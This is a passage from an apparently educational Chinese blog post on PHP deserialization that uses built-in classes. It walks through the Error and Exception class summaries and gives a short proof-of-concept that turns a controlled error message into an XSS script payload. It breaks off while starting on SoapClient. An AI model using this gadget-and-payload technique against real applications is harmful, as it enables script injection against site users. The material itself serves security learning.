class=\"line\"><span>mysqli_sql_exception::__wakeup</span></span>\n<span class=\"line\"><span>mysqli_sql_exception::__toString</span></span>\n<span class=\"line\"><span>PharException::__wakeup</span></span>\n<span class=\"line\"><span>PharException::__toString</span></span>\n<span class=\"line\"><span>Phar::__destruct</span></span>\n<span class=\"line\"><span>Phar::__toString</span></span>\n<span class=\"line\"><span>PharData::__destruct</span></span>\n<span class=\"line\"><span>PharData::__toString</span></span>\n<span class=\"line\"><span>PharFileInfo::__destruct</span></span>\n<span class=\"line\"><span>PharFileInfo::__toString</span></span>\n<span class=\"line\"><span>SimpleXMLElement::__toString</span></span>\n<span class=\"line\"><span>SimpleXMLIterator::__toString</span></span>\n<span class=\"line\"><span>PhpToken::__toString</span></span></code></pre>\n<p>挑几个重点的说吧：</p>\n<h3 id=\"error类\"><a class=\"anchor\" href=\"#error类\">#</a> Error类</h3>\n<ul>\n<li>适用于 php7 版本</li>\n<li>在开启报错的情况下</li>\n</ul>\n<p>给了一个类摘要：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">Error</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> implements</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> Throwable</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    /* 属性 */</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> string</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">message</span><span style=\"color:#999999;--shiki-dark:#666666\"> ;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> int</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">code</span><span style=\"color:#999999;--shiki-dark:#666666\"> ;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> string</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">file</span><span style=\"color:#999999;--shiki-dark:#666666\"> ;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> int</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">line</span><span style=\"color:#999999;--shiki-dark:#666666\"> ;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    /* 方法 */</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __construct</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">message</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"\"</span><span style=\"color:#999999;--shiki-dark:#666666\"> ,</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> int</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">code</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 0</span><span style=\"color:#999999;--shiki-dark:#666666\"> ,</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> Throwable</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">previous</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> null</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    final</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> getMessage</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    final</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> getPrevious</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> Throwable</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    final</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> getCode</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> mixed</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    final</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> getFile</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    final</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> getLine</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> int</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    final</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> getTrace</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> array</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    final</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> getTraceAsString</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __toString</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    final</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> private</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __clone</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> void</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>类属性：</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>message：错误消息内容</span></span>\n<span class=\"line\"><span>code：错误代码</span></span>\n<span class=\"line\"><span>file：抛出错误的文件名</span></span>\n<span class=\"line\"><span>line：抛出错误在该文件中的行数</span></span>\n<span class=\"line\"><span>类方法：</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>Error::__construct — 初始化 error 对象</span></span>\n<span class=\"line\"><span>Error::getMessage — 获取错误信息</span></span>\n<span class=\"line\"><span>Error::getPrevious — 返回先前的 Throwable</span></span>\n<span class=\"line\"><span>Error::getCode — 获取错误代码</span></span>\n<span class=\"line\"><span>Error::getFile — 获取错误发生时的文件</span></span>\n<span class=\"line\"><span>Error::getLine — 获取错误发生时的行号</span></span>\n<span class=\"line\"><span>Error::getTrace — 获取调用栈（stack trace）</span></span>\n<span class=\"line\"><span>Error::getTraceAsString — 获取字符串形式的调用栈（stack trace）</span></span>\n<span class=\"line\"><span>Error::__toString — error 的字符串表达</span></span>\n<span class=\"line\"><span>Error::__clone — 克隆 error</span></span></code></pre>\n<p>Error类是 php 的一个内置类，用于自动自定义一个 Error，在 php7 的环境下可能会造成一个 xss 漏洞，因为它内置有一个 <code>__toString()</code> 的方法，常用于PHP 反序列化中。如果有个 POP 链走到一半就走不通了，不如尝试利用这个来做一个 xss，直接使用 <code>echo &lt;Object&gt;</code> 的写法，当 PHP 对象被当作一个字符串输出或使用时候（如<code>echo</code>的时候）会触发 <code>__toString</code> 方法</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Error</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p>当我们执行这串代码之后，我们会看到如下结果：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Error: ZLARYY in D:\\phpstudy_pro\\WWW\\liu.php:2 Stack trace: #0 &#123;main&#125;</span></span></code></pre>\n<p>其中ZLARYY字符串部分我们可控，就可能造成XSS漏洞</p>\n<p>比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Error</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;script>alert(1)&#x3C;/script></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/alert.png\" class=\"\" title=\"alert\"></p>\n<h3 id=\"exception类\"><a class=\"anchor\" href=\"#exception类\">#</a> Exception类</h3>\n<ul>\n<li>适用于 php5、7版本</li>\n<li>开启报错的情况下</li>\n</ul>\n<p>与Error类完全一样，就不多说了</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>Exception: ZLARYY in D:\\phpstudy_pro\\WWW\\liu.php:2 Stack trace: #0 &#123;main&#125;</span></span></code></pre>\n<p>但也粘贴一下给的类摘要吧：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">Exception</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    /* 属性 */</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> string</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">message</span><span style=\"color:#999999;--shiki-dark:#666666\"> ;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> int</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">code</span><span style=\"color:#999999;--shiki-dark:#666666\"> ;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> string</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">file</span><span style=\"color:#999999;--shiki-dark:#666666\"> ;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> int</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">line</span><span style=\"color:#999999;--shiki-dark:#666666\"> ;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    /* 方法 */</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __construct</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">message</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"\"</span><span style=\"color:#999999;--shiki-dark:#666666\"> ,</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> int</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">code</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 0</span><span style=\"color:#999999;--shiki-dark:#666666\"> ,</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> Throwable</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">previous</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> null</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    final</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> getMessage</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    final</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> getPrevious</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> Throwable</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    final</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> getCode</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> mixed</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    final</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> getFile</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    final</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> getLine</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> int</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    final</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> getTrace</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> array</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    final</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> getTraceAsString</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __toString</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    final</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> private</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __clone</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\"> void</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>类属性：</span></span>\n<span class=\"line\"><span>message：异常消息内容</span></span>\n<span class=\"line\"><span>code：异常代码</span></span>\n<span class=\"line\"><span>file：抛出异常的文件名</span></span>\n<span class=\"line\"><span>line：抛出异常在该文件中的行号</span></span>\n<span class=\"line\"><span>类方法：</span></span>\n<span class=\"line\"><span>Exception::__construct — 异常构造函数</span></span>\n<span class=\"line\"><span>Exception::getMessage — 获取异常消息内容</span></span>\n<span class=\"line\"><span>Exception::getPrevious — 返回异常链中的前一个异常</span></span>\n<span class=\"line\"><span>Exception::getCode — 获取异常代码</span></span>\n<span class=\"line\"><span>Exception::getFile — 创建异常时的程序文件名称</span></span>\n<span class=\"line\"><span>Exception::getLine — 获取创建的异常所在文件中的行号</span></span>\n<span class=\"line\"><span>Exception::getTrace — 获取异常追踪信息</span></span>\n<span class=\"line\"><span>Exception::getTraceAsString — 获取字符串类型的异常追踪信息</span></span>\n<span class=\"line\"><span>Exception::__toString — 将异常对象转换为字符串</span></span>\n<span class=\"line\"><span>Exception::__clone — 异常克隆</span></span></code></pre>\n<h3 id=\"soapclient类\"><a class=\"anchor\" href=\"#soapclient类\">#</a> SoapClient类</h3>\n<p>PHP 的内置类 SoapClient 是一个专门用来访问 Web 服务的类，可以提供一个基于 SOAP 协议访问 Web 服务的 PHP 客户端。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#A65E2B;--shiki-dark:#C99076\">SoapClient</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    /* 方法 */</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __construct</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string|</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">null</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">wsdl</span><span style=\"color:#999999;--shiki-dark:#666666\"> ,</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> array</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">options</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __call</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#999999;--shiki-dark:#666666\"> ,</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> array</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">args</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> :</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> mixed</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#59873A;--shiki-dark:#80A665\"> __doRequest</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">request</span><span style=\"color:#999999;--shiki-dark:#666666\"> ,</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> string</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">location</span><span 